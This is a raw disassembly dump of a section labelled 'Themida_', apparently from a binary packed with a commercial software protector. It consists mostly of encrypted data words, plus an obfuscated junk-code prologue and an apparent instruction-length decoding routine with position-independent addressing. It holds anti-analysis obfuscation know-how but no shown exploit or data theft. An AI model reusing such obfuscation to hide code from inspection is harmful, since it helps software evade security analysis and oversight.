37D7093Eh, 0EB81DBF7h, 0C1DF5FE8h, 89D98951h dd 685B59CDh, 7D7h, 81242489h, 42404h, 555A0000h, 0E4240481h dd 8F343240h, 0BB530842h, 44CC51CFh, 0EB81DBF7h, 87016D4Dh dd 5B085A29h, 5724148Bh, 0C781E789h, 4, 4C781h, 3C870000h dd 34FF5C24h, 0C4815D24h, 4, 0FB9B63E9h, 0F98B7AFFh, 0B8CDF413h dd 649AC73h, 0E0FFC503h, 4235660Ch, 59064E93h, 72135D4Fh dd 3E055791h, 27E53B77h, 7ACE714Fh, 167613D5h, 1572C159h dd 662013B7h, 7AF3916Fh, 6D5B4066h, 4CCD2B80h, 5B9902BBh dd 22A338B2h, 2C115956h, 4271F08Bh, 3FDC8F75h, 0F7F5028h dd 6F985FEEh, 353BCD8Eh, 0ADF78D8Dh, 89F90649h, 442F5D8Dh dd 0BD895706h, 64430C9h, 7985C758h, 0EC064406h, 6A000062h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 1F9C350h, 0D38B9C71h, 107185C7h, 644h, 8D890000h dd 6440775h, 8DDB5FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 89CED2C3h, 44255595h dd 0F995FF06h, 0B206440Bh, 67FDBA72h, 6A1C57h, 1C4D95FFh dd 0C08B0644h, 0BF187CEBh, 96DC0FB0h, 78CF66F4h, 0B6243649h dd 0F89CCA58h, 8BB4727Eh, 55CB5FE3h, 4290C1BCh, 0B9AE3239h dd 8CF70187h, 30CA1439h, 0DBE17A7Eh, 0E21A1279h, 0C0955FADh dd 146ACD3Bh, 53E3DF2Dh, 578145BFh, 67542B0Ah, 0D16B5FEh dd 54E0FCCDh, 3F315ADAh, 0CB050145h, 7D6D439Bh, 0C2EE143Dh dd 38E39645h, 0E1405D22h, 11126661h, 70DC9192h, 0B8A5B69Bh dd 2FC5B3F6h, 0D3808E6Fh, 8E8851Bh, 29000000h, 0E8552FCBh dd 2332BAF8h, 442D918Dh, 0C6815E06h, 5877h, 5E9h, 5FAA7E00h dd 0BBF6C8h, 0F000000h, 18Bh, 148BF500h, 0DEB8661Eh, 86F28189h dd 234D86E0h, 4413C5BDh, 0D3C28106h, 814135D8h, 155381EAh dd 9B55166h, 1E14895Fh, 2F2DBD8Bh, 0AE90644h, 9C000000h dd 41543D3Dh, 1A606B2Fh, 0DAEB8148h, 895B8353h, 4406CD95h dd 0D6C38106h, 815B8353h, 6FF44DE7h, 10FB812Eh, 0FFFFFA8h dd 0FFFFA185h, 8EBF5FFh, 552391Ch, 77E7339Ch, 0E9CE9h dd 0B0E16800h, 0F7E90649h, 68FFFACFh, 649B1E2h, 0FACFEDE9h dd 0B40868FFh, 0E3E90649h, 68FFFACFh, 649B520h, 0FACFD9E9h dd 0B69968FFh, 0CFE90649h, 68FFFACFh, 649B914h, 0FACFC5E9h dd 0BAF068FFh, 0BBE90649h, 68FFFACFh, 649BBE8h, 0FACFB1E9h dd 2BA28FFh, 0B33195ABh, 0BC241Ah, 0B22A97A9h, 1C3251Bh dd 0BAA28AA8h, 0F31984Ch, 0BB852C98h, 33D9448h, 0CF8B22A2h dd 0E58534ABh, 1046C2E6h, 0CC8F1074h, 0FDC2E6E4h, 152694DCh dd 0C5885967h, 7139ABC0h, 0F76ED64Fh, 41E85CC9h, 0F8676B07h dd 0C9302641h, 0EE8AAB8Ah, 0FB8F88Ah, 0F960DC44h, 0BE42AAD8h dd 0F66ED7E9h, 99064E6Fh, 0CF73C9ABh, 0FE9A0322h, 65BBAB8Ch dd 0CD358691h, 0F6D7F66Fh, 0B97621BEh, 266C2EBh, 0B942F966h dd 0AA8BC2EBh, 5A00C6D8h, 0C446FFDh, 7014AB77h, 0EC622CEFh dd 0CEBC9DC2h, 0AFB14273h, 5E682013h, 0FBAFDDE6h, 330Fh dd 9B37BD00h, 53E97612h, 0BACF749Fh, 0DA9D029Bh, 0A3C2EC88h dd 3B059C40h, 0D831ACAh, 8B03AC76h, 0B5D9B39Fh, 53286F4Eh dd 262C7h, 0CD33FBB0h, 81000000h, 0F76ED64Fh, 7CE55FC9h dd 38E37C18h, 95C93094h, 0C431B9A9h, 1D23558Ch, 83A23BA9h dd 0BB299CA2h, 0EC58CDF3h, 10631175h, 748FF6B4h, 0B78460Eh dd 796FF059h, 80C92FB8h, 0A1C5A123h, 21BE269Fh, 0C92FAF7Ah dd 0AF1BDE41h, 8DACC92Fh, 3B92DAFBh, 0BD24A005h, 0BADE57FBh dd 7625BADEh, 57C92FAFh, 0EBA13E76h, 22CF73B1h, 44ECAA03h dd 0D232ADC9h, 0BC93255h, 0B52A4E2Ah, 0C92E4506h, 0CAAEE6C7h dd 7BD292F4h, 0C461E345h, 7DEED663h, 16881C85h, 0AE00000Ch dd 1F218834h, 0AA943DA7h, 112F8636h, 9BA50CB0h, 3C1EB72Dh dd 269E08F4h, 0EE56B18Fh, 520A7947h, 0E460C5FBh, 0F26D094Dh dd 0C2E6E447h, 4F64D680h, 0FCC26BD9h, 0C674DD87h, 76129B37h dd 749F53E9h, 29BBACFh, 0EC88DA9Dh, 0CCBEDAC2h, 29A1BF67h dd 0D9801F2Ah, 0F2C2EC2Bh, 996F2D3h, 0C2EC2C52h, 69125A7Bh dd 4BEC58BDh, 0FC09FBB0h, 6D000000h, 37E39609h, 0C5E4C2ECh dd 0D64F3F8Dh, 0AD93F76Eh, 0B331953Ah, 82E4DA92h, 75D4A6C2h dd 129883B8h, 23BC256Dh, 0C92FC245h, 44ED57CCh, 3AA21E20h dd 0C11AC15Eh, 92B3C92Fh, 0C57FE4DAh, 3F761A5Ch, 0C406C45Bh dd 2755CF73h, 1D89B759h, 6D1F3EA7h, 0F8B02FE7h, 4006AF8Eh dd 9E0165B0h, 0C932C415h, 3CCFB6C4h, 3271981Dh, 0ACDEBB47h dd 78300165h, 754B2F0Eh, 51355113h, 2DBC0BCEh, 0D59DBCC9h dd 60E4427Ch, 0EE4168C5h, 91059C7Dh, 0B15h, 2C8537ADh dd 9B32B212h, 369F3DA5h, 8C259708h, 399054B2h, 0BD2B111Bh dd 3590AE07h, 0A918268Fh, 3FA49A33h, 0C682C85h, 0E6E2E893h dd 5B7E1C2h, 2BEE7115h, 9CC93094h, 5DCBF5BDh, 582A4EE7h dd 620AEBF6h, 90F7C90Dh, 246C4DD4h, 407EA91Ah, 0C6E77EE6h dd 2FFCA259h, 340A2BC9h, 513514D0h, 0FBEFAA35h, 0F9D8C92Fh dd 4FAA18B1h, 780A6ED6h, 0E6978541h, 0D89AF021h, 5CFEED5Eh dd 0C8AC357Dh, 48D18BF6h, 0CDD41B69h, 0E0DE396Ah, 0B72D96A8h dd 0D2087A1Eh, 32620618h, 23CF89C1h, 77118EEAh, 76CF7410h dd 69573357h, 24D748FCh, 0A5C2EBF8h, 0CA55CC84h, 0C2EBF80Ch dd 49D08CF5h, 0B2010A77h, 5EC250C4h, 0B3AD3415h, 0A9EE5EC8h dd 83E348D2h, 84FBB0A8h, 29B49BAh, 0D53B6B23h, 89000006h dd 457C6715h, 0EA21436Ah, 0C14CE4A2h, 4D87D7A5h, 6E43B197h dd 97DD4226h, 0D6CF745Fh, 10E193F7h, 9C48BEB0h, 0E918EBEEh dd 55BA7748h, 95DDFC44h, 930C680Ch, 0C2EC02E8h, 0F1873DA9h dd 500798D0h, 39C2EC03h, 0B18F16CEh, 3F74ED57h, 2562DA44h dd 0F76FD45Eh, 3CFBB01Eh, 678h, 1767158Eh, 31DE0722h, 0EB053508h dd 0F3D2128Dh, 0D855FDBBh, 0AA5523BCh, 95B4CF74h, 68E4930Ch dd 0B0D4C2ECh, 69904BD4h, 1839C2ECh, 5A9FE26Ah, 0B8F06189h dd 0C4A057C3h, 0EB98A05Bh, 360829C2h, 685E16CEh, 0FBAFB3FCh dd 10D4330Dh, 940DB72Eh, 21ADFDB5h, 0C9000006h, 58CF8CF7h dd 3785CDECh, 2BEE7115h, 9CC93094h, 0A28341A2h, 21B8249Ch dd 0F7FB4800h, 3753DA76h, 0B96E2153h, 26BF2580h, 32FF7507h dd 714FD098h, 0D0CF73A5h, 0B1D5B1F1h, 0EBA46B2Eh, 357D5CC2h dd 0CDD4AAh, 206D054Fh, 580C7A44h, 0A9EB7410h, 0E04522E8h dd 2D9BA5C1h, 2066FFB7h, 5610590h, 8C15C73Bh, 207AE5ADh dd 69435EDBh, 0B1122C48h, 920BB92Ch, 5F3B92B3h, 700F0061h dd 467CAEAFh, 7C420A2Bh, 4BF85D07h, 0FDF7BDD2h, 8EFF064h dd 0DD470000h, 7CE8D67Fh, 0E35F61C8h, 71EED079h, 0EA5C62CBh dd 27F1D37Ah, 0B811D335h, 0CA51F86h, 0C46DCF32h, 72DB89FAh dd 0ECD5236h, 0BFC2E6E0h, 0D64F5BE9h, 21B1F76Eh, 0B66FF094h dd 5CF7A43h, 0DB530B77h, 0D13FD3A7h, 0D90C7E0Fh, 7A0C4464h dd 0DA6DF25Bh, 7CC2E793h, 5BF2618h, 521ACA3Bh, 5014714Fh dd 9E17BFF9h, 93BE65FAh, 3E1FC2E7h, 0B82C99A7h, 8E117511h dd 0C2E792CBh, 0A95DDFCh, 0C2E7935Bh, 0B61FBD24h, 30A91B88h dd 0E782E8AFh, 0C5A1C5C2h, 79A39F5Ah, 0AA1628CFh dd 0AB8AAB32h, 0A18E98E3h, 17298044h, 30AF36AEh, 0CF79B385h dd 0AE73348h, 714F2B99h, 296FFF10h, 0E32C76CFh, 0B7238AC2h dd 13Dh, 6ED64F05h, 36AD93F7h, 91F0CE86h, 944AF16Eh, 0A283C930h dd 0D6851A83h, 0E5C93093h, 6CF567DBh, 3B6294Dh, 0C4C93094h dd 3293ADE5h, 0C56D2BB2h, 5475EF57h, 0AF305430h, 0C93093ECh dd 2BB4FCDDh, 0CF7A437Ah, 6ED77253h, 927BA536h, 7D79F0Bh dd 0F56F0000h, 74D0EE47h, 0FB6759F0h, 69D6E841h, 2645AF3h dd 5FC9EB42h, 70D98BFDh, 0C46DD74Eh, 7CD587FAh, 0CA63E142h dd 0C675EA8Eh, 7C2E6DFh, 2B15E351h, 7C420ABAh, 0FAC45D07h dd 0E05CC78Ch, 0D0795879h, 60C973EEh, 460E55Eh, 0F6C86140h dd 915B8790h, 0B2CA2D8Bh, 1C6E0A93h, 0A866C0CAh, 0B18FC77Ch dd 6A74ED57h, 0BE280511h, 0E27DAC19h, 0C9307737h, 0B190B190h dd 0E4427C18h, 76FFBA25h, 0E9C8C930h, 4EB680C8h, 0E701F496h dd 7, 99E555h, 4F570000h, 68F76ED6h, 0C930A4ADh, 0EC75EF56h dd 57CE6ED2h, 6DCA542Fh, 0FFDE47F5h, 51DDA6DEh, 0A02480BEh dd 0F5BD279Eh, 91F55ACBh, 4A6B4AD3h, 0B366DDE3h, 30846D2Ch dd 0FF605EC9h, 0C4E5C45Dh, 35E37CE5h, 44C93084h, 9B06F33Fh dd 0BE214521h, 0C93083FBh, 0CA5EDCCh, 68D44FBEh, 0E854CFF1h dd 6F0B6F71h, 309449F0h, 43BC82C9h, 8BF0B899h, 0ED4FB29Fh dd 9C26DB44h, 0C6F0C930h, 1F4A75Fh, 0FFFE9894h, 2B1526FFh dd 0B19009BBh, 948F4AD5h, 1938C930h, 34AC551h, 4F770000h dd 5B42BD6h, 0C6C93094h, 0F5D488F8h, 33D24DD4h, 4CC93094h dd 950EEB37h, 4BB8862Fh, 0E89F0099h, 0B1C93093h, 6D099054h dd 93E39609h, 37ACC930h, 92DAFB8Dh, 95F13CD4h, 7A43590Ah dd 0F65372CFh, 7BA53679h, 5E82168Fh, 0D6000006h, 6759F06Ch dd 0D2EC45FFh, 5967CE6Eh, 0E3DD74E8h, 5476DF85h, 4EF650CCh dd 0F66ED9E7h, 5A02615Fh, 0EC58CDF3h, 0FA650145h, 0C2E6DE3Fh dd 4F6CDE88h, 0C9F76ED6h, 724CE55Fh, 0C4FA5311h, 457BE262h dd 0C6F861E3h, 447AE359h, 0B7FC65DFh, 0F4EA62CCh, 0B06BF490h dd 19C93094h, 1F0B7038h, 0B910D432h, 0F4AF178Fh, 292DC01h dd 86B80000h, 5E3AA319h, 309C1AC1h, 0B392B3C9h, 671549FBh dd 0F8E41EFAh, 8C38AC48h, 71153415h, 2FC02BEEh, 0F5BD9CC9h dd 1B8D23B3h, 2F1130A9h, 4F2B0AB2h, 0C005B42Bh, 0E7C6C92Fh dd 0DCA936AFh, 0C81EBEh, 65EA5A64h, 296140FCh, 5531C852h dd 426A0FCAh, 0D199B8CAh, 6857FE7h, 232B403h, 0B4D00000h dd 4272702Bh, 307859CAh, 0B72B1582h, 6B0B4D05h, 2AD14E2Ah dd 0B1C93094h, 948F4AD5h, 5C38C930h, 309418C3h, 0B190B1C9h dd 37AE8FF9h, 1F92DBA8h, 160978C8h, 4195D289h, 0FBDAFBCAh dd 79E35C62h, 9985FEE0h, 939FE4A3h, 540798FCh, 75CA4196h dd 8CF12654h, 0AA0D15E3h, 0E370D4E2h, 0CD850305h, 37000001h dd 72169F37h, 309432EDh, 7AE581C9h, 0C93094BFh, 17612908h dd 7330AF36h, 99C81F93h, 73D338E2h, 800305B1h, 1A4h, 169F3732h dd 0B7281672h, 0F5BD9C05h, 3094B76Ah, 0A83110C9h, 0D292F2CCh dd 9B02F4Bh, 0C2C93094h, 158AC2E3h, 0C81F9350h, 78E163C5h dd 57EDB46h, 95E77E5Fh, 30E54FDDh, 3C47C918h, 265D1AF2h dd 6EAF17FCh, 59440306h, 0F6000001h, 0F76ED64Fh, 91F75CC9h dd 1D5BF2D3h, 0C35C3875h, 0CF74B4E1h, 5FC05978h, 0C2EC7498h dd 52B76318h, 0FBB08FF2h, 3803h, 9B37B100h, 53E97612h dd 0A8CF749Fh, 0FCB43096h, 0BDCFAB8Ah, 0F80EBBB4h, 0EC59675Ah dd 36A93078h, 0C2EC057Fh, 3B200A71h, 0FBB024CBh, 0B668h dd 0CE320C00h, 9ED6F76Eh, 0BA2B152Ch, 0FAB2930Ah, 8AFA5FC4h dd 5C62FBDAh, 5EFE65EAh, 6BD8E67Fh, 0E55E60F9h, 5F49D67Fh dd 0FCC93099h, 85FE63C2h, 4667FEDFh, 6DBBA334h, 622A4381h dd 0D47DE75Ch, 0D3B7FE92h, 7E7128B7h, 7B5AC930h, 41335733h dd 45A99C89h, 31AEE6E8h, 0CF764D42h, 0F371D7E9h, 75034B6Ah dd 960E3054h, 3C02662Eh, 8DB31ACAh, 990CA91Bh, 8F7BAAD1h dd 3E38216h, 0E95B0000h, 80E4DA73h, 0EF536DC4h, 65DAE44Dh dd 6605EF7h, 4BD5F75Eh, 64CD77D1h, 0D079EB5Ah, 60C973EEh dd 0D67FE55Eh, 0B269F692h, 1BC2E6DBh, 0D94FFF4Dh, 87FCC26Bh dd 4FC674DDh, 340A6ED6h, 0AD8C15CFh, 0E1427CE5h, 0A355CA63h dd 12C93094h, 3753377Eh, 940DCC53h, 8AF6C930h, 2A9AA4D2h dd 50E99BBAh, 284EC29Fh, 38F26D25h, 71CF73ECh, 1372D74Fh dd 0C8E9C851h, 46027051h, 996DEEC9h, 6B41D3Ch, 0F76ED64Fh dd 0B168F793h, 1AC93094h, 9C05BF24h, 0EAD49CBDh, 0F470D479h dd 96D4C6Dh, 64DB927Bh, 0CC84B869h, 68F2365h, 0C9380662h dd 0DEC45B13h, 7FCF73D7h, 9F043A5Eh, 0D59DBC25h, 0AF16284Ch dd 0C58DAC35h, 0EB979B5Ah, 0BC661DC2h, 3BFE6105h, 8CC2EB97h dd 73D3E5ADh, 80FBAFB2h, 45h, 0FA6ADAE4h, 0B80A4263h, 4DBC2B15h dd 309427D2h, 0A081A0C9h, 16501839h, 0C857337Ah, 0CF749F32h dd 0A47BE99Bh, 6733E679h, 0B594C2ECh, 6F7992C7h, 8D48D74Eh dd 0FC2EC30h, 0E145AA74h, 12FBB04Fh, 10Fh, 206715A0h, 0DE1D0E95h dd 0EE4EB28Ch, 0B92B98A6h, 3CA81E20h, 0BA2A9BA5h, 0B7354723h dd 558F8351h, 0B1122C64h, 23059A33h, 0EAC93011h, 662CB79h dd 0F3B12574h, 971218CCh, 0F0BCCE80h, 6D531BFEh, 0E39609F8h dd 0E4C93040h, 197DE4C5h, 727E7C6Bh, 930EBBFAh, 0B091B029h dd 0C812BEF8h, 0B0DC0DBh, 0D1B5942Bh, 70248EA3h, 2B6369F0h dd 0BA4ED04Fh, 0A39DCF73h, 0A0D69E3Eh, 0C26E2881h, 0BBB02F4Bh dd 62C9325Eh, 0E178E45Ch, 0DFFE88C0h, 81E1DFBBh, 0C0E15BC4h dd 9450B688h, 0EB51CEF0h, 5A215372h, 0A450B863h, 2C12BBF3h dd 34AF0ABAh, 787DEE28h, 20775E1h, 45BF0000h, 0A4003E97h dd 4BB78920h, 99063891h, 52B48A23h, 0F193B92h, 0A009BB2Dh dd 14BD279Eh, 0AC05B72Ah, 1AB33192h, 0F6A53A5Eh, 0D7C2E6D9h dd 2B153381h, 7E4008BCh, 5C385C08h, 309418C3h, 0E290B1C9h dd 0EA24DFC0h, 0E44D05E1h, 52FB69DAh, 3B980836h, 0A18019CBh dd 377AC880h, 2A9A0D9Bh, 9148D7B3h, 3AC93094h, 7F1B3A1Bh dd 749F5AE0h, 0B92B3CFh, 70F4516Fh, 1F80C8E9h, 0C2EC8958h dd 0C7583C58h, 0C2EC8914h, 0A7DC94B5h, 0A82E967Bh, 0CDF3FBB0h dd 5071E854h, 0B34818h, 4FFA0000h, 0AD1771D6h, 0BD2B158Ch dd 27019E07h, 0EEC93099h, 266CF75h, 841DC73Ch, 72D3EDA5h dd 852D6BF2h, 6DF36C08h, 0ACCF74B2h, 0CE62248Dh, 79472347h dd 8F10580Ch, 0C933131Fh, 0B03490AEh, 4D290829h, 30AC1729h dd 0FEC088A9h, 4B75DC88h, 0A3C267DDh, 597DEE1Ah, 10F54C0h dd 3DA70000h, 9C08369Fh, 43BF8128h, 910E3099h, 4ABC822Bh dd 711339Ah, 9831B315h, 2C853FA6h, 0A40DAF12h, 12BB299Ah dd 0EEAD3256h, 0DFC2E6D8h, 2B153B89h, 714F07BDh, 0D752B217h dd 30949148h, 3A1B3AC9h, 43BC82A3h, 0AEDCB899h, 844823CCh dd 6AFE75Fh, 0B019CB38h, 6ED64F02h, 0F1506E0Ah, 6CF3D24Bh dd 0C93094ADh, 36E57A1Eh, 97C93094h, 3CA997B6h, 78301188h dd 0FE66DFE1h, 0EF413357h, 0DF9A0523h, 0E8C92FDDh, 0DD5FBBC9h dd 46EAACE4h, 8B34ABCFh, 5ACF7987h, 4BB1428h, 0EB5819ECh dd 66105879h, 0A41D2347h, 0C880A138h, 4EF66F51h, 38F183E7h dd 0FAAAFAE7h, 3EA799D1h dd 0F590E286h, 4959FB09h, 0CDB824ADh, 2BB69EBFh, 0D665FA63h dd 0AC60240h, 0DB48A571h, 0D64E0B76h, 0C76E4F6Eh, 5CC78CF9h dd 2A5879E0h, 1C47850h, 0C45D7CAEh, 4ED785FAh, 2EE14D36h dd 1426D54Ah, 86A7C3DEh, 0D193F0CEh, 67DD4678h, 36AFEh dd 49D80000h, 67D54FFBh, 0E163C0FEh, 61DB4678h, 0E55FC6F8h dd 60E4427Ch, 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh dd 5456EDFAh, 4C6815Eh, 83000000h, 348704EEh, 0DC685C24h dd 8900002Ch db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ecx mov ecx, 669D07A4h shr ecx, 6 push edi mov edi, 67AD339Fh and edi, 36AA5CC2h sub edi, 0F5350270h or ecx, edi pop edi sub ecx, 195378D4h shr ecx, 2 xor ecx, 1EA34B2h sub ecx, 1768679h mov esi, ecx pop ecx push 4860h mov [esp], esp add dword ptr [esp], 4 pop ebx push esi pop dword ptr [ebx+8] mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_5445C2 ; --------------------------------------------------------------------------- dw 0D150h dd 0BD1CB81Bh, 0C5030649h, 7F72E0FFh, 357A259Dh, 0A6D0CE9h dd 6E0E62D7h, 3A07BA4h, 574E16F3h, 0B7D458D5h, 0DFEA2F6Eh dd 13A415CBh, 0C065250Dh, 5D1524E2h, 95CD4D6Dh, 941416E5h dd 8B7E37FBh, 857668E0h, 0C01B5ACAh, 0B41E003Fh, 0FB287511h dd 803117EDh, 0B19D2C7Eh, 0B54556E0h, 4FA74B70h, 0DF113C2Fh dd 0A16D32BAh, 0D3B36661h, 98EA5E3Eh, 9E29463Eh, 0D8CC6BC8h dd 2F320B7Bh, 0AC2326BBh, 6BA93570h, 0C8E90517h, 88000001h dd 7 dup(88004188h), 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 3000000h, 14h dup(0) dd 0C2000000h, 758E000Ch, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 49C010EDh, 85C76006h dd 649BF5Dh, 0 dd 663E8166h, 0F850FA1h, 0C7000000h, 49BF6185h, 606h, 24E900h dd 858D0000h, 649BF65h, 0B5858D50h, 500649BFh, 0E8006A56h dd 1Dh, 2510C483h, 0FFh, 0BF618589h, 3610649h, 49BF61B5h dd 5D858B06h, 5D0649BFh db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_598746 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_598752 ; --------------------------------------------------------------------------- loc_598746: ; CODE XREF: Themida_:0059872Fj and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_598752: ; CODE XREF: Themida_:00598741j push ebx push esi push edi loc_598755: ; CODE XREF: Themida_:005987AAj ; Themida_:005987C6j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_598768: ; CODE XREF: Themida_:0059878Fj movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 649C0C7h lea ebp, [ebp+649BF3Dh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_598795 inc cl cmp cl, 0Bh jb loc_598768 loc_598795: ; CODE XREF: Themida_:00598784j cmp cl, 0Bh jz loc_5987F2 cmp al, 66h jnz loc_5987D3 cmp byte ptr [ebp-5], 0 jnz loc_598755 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5987CB mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_598755 ; --------------------------------------------------------------------------- loc_5987CB: ; CODE XREF: Themida_:005987B8j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5987D3: ; CODE XREF: Themida_:005987A0j cmp al, 67h jnz loc_598755 cmp byte ptr [ebp-6], 0 jnz loc_598755 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_598755 ; --------------------------------------------------------------------------- loc_5987F2: ; CODE XREF: Themida_:00598798j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_59881E movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_598823 ; --------------------------------------------------------------------------- loc_59881E: ; CODE XREF: Themida_:005987FDj movzx edi, al shr edi, 1 loc_598823: ; CODE XREF: Themida_:00598819j push ebp call $+5 pop ebp sub ebp, 649C17Fh lea ebp, [ebp+649BE3Dh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5989A5 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5988E9 dec ecx jz loc_5988CC dec ecx jnz loc_59893C cmp byte ptr [ebp-2], 0 jnz loc_598938 cmp byte ptr [ebp-5], 0 jz loc_5988AB mov byte ptr [ebp+0Bh], 2 loc_5988AB: ; CODE XREF: Themida_:005988A1j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 649C20Bh mov dword ptr [ebp+649BF5Dh], 1 pop ebp jmp loc_59893C ; --------------------------------------------------------------------------- loc_5988CC: ; CODE XREF: Themida_:00598886j cmp byte ptr [ebp-2], 0 jnz loc_598916 cmp byte ptr [ebp-5], 0 jz loc_598916 mov byte ptr [ebp+0Bh], 2 jmp loc_598916 ; --------------------------------------------------------------------------- loc_5988E9: ; CODE XREF: Themida_:0059887Fj cmp byte ptr [ebp-2], 0 jnz loc_59892F cmp byte ptr [ebp-5], 0 jz loc_59891E movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_598916 mov [ebp+0Bh], cl loc_598916: ; CODE XREF: Themida_:005988D0j ; Themida_:005988DAj ... inc byte ptr [ebp+0Bh] jmp loc_59893C ; --------------------------------------------------------------------------- loc_59891E: ; CODE XREF: Themida_:005988F7j cmp dl, 5 jnz loc_59893C mov [ebp+0Bh], dl jmp loc_59893C ; --------------------------------------------------------------------------- loc_59892F: ; CODE XREF: Themida_:005988EDj cmp dl, 6 jnz loc_59893C loc_598938: ; CODE XREF: Themida_:00598897j mov byte ptr [ebp+0Bh], 3 loc_59893C: ; CODE XREF: Themida_:0059888Dj ; Themida_:005988C7j ... dec byte ptr [ebp+0Bh] jz loc_59896A movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_59894C: ; CODE XREF: Themida_:00598962j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_59894C mov esi, edx loc_59896A: ; CODE XREF: Themida_:0059893Fj and al, 0FEh cmp al, 0F6h jnz loc_59899F cmp edi, 7Fh ja loc_59899F test bl, 38h jnz loc_59899F cmp byte ptr [ebp-7], 0 jz loc_598999 movzx eax, byte ptr [ebp-4] jmp loc_59899C ; --------------------------------------------------------------------------- loc_598999: ; CODE XREF: Themida_:0059898Aj push 1 pop eax loc_59899C: ; CODE XREF: Themida_:00598994j mov [ebp-1], al loc_59899F: ; CODE XREF: Themida_:0059896Ej ; Themida_:00598977j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5989A5: ; CODE XREF: Themida_:0059884Fj mov al, bl and eax, 7 sub eax, 4 jz loc_5989D0 dec eax dec eax jz loc_5989C6 and bl, 7 add [ebp-1], bl jmp loc_5989D8 ; --------------------------------------------------------------------------- loc_5989C6: ; CODE XREF: Themida_:005989B5j mov al, [ebp-3] add al, 6 jmp loc_5989D5 ; --------------------------------------------------------------------------- loc_5989D0: ; CODE XREF: Themida_:005989ADj mov al, [ebp-3] add al, 4 loc_5989D5: ; CODE XREF: Themida_:005989CBj add [ebp-1], al loc_5989D8: ; CODE XREF: Themida_:005989C1j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_598A00 movzx ecx, byte ptr [ebp-1] inc ecx loc_5989EB: ; CODE XREF: Themida_:005989FAj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5989EB loc_598A00: ; CODE XREF: Themida_:005989E0j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLI db '▀пК-',0 dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h dd 697FF445h, 0A6AE9h, 0C4926800h, 7BE90649h, 68FFFABBh dd 649C5C6h, 0FABB71E9h, 0C6A968FFh, 67E90649h, 68FFFABBh dd 649C75Eh, 0FABB5DE9h, 0C82F68FFh, 53E90649h, 68FFFABBh dd 649C900h, 0FABB49E9h, 0C9C568FFh, 3FE90649h, 68FFFABBh dd 649CB66h, 0FABB35E9h, 0CC7E68FFh, 2BE90649h, 0A2FFFABBh dd 0B359C40h, 0BE80299Bh, 0D339A42h, 0BF812894h, 10329B49h dd 32B21408h, 8242A59Bh, 0EAE152Bh, 0B82C99A7h, 0AE315511h dd 0C2E6D0EBh, 37388ADCh, 0FA69579Bh, 941EDD42h, 8EAFC930h dd 2354CBAFh, 0A0CF7A58h, 24BD279Eh, 1ACA3B05h, 53B5F3Bh dd 9CBD24A0h, 0CB79EAD4h, 7DE75C62h, 870EA2E4h, 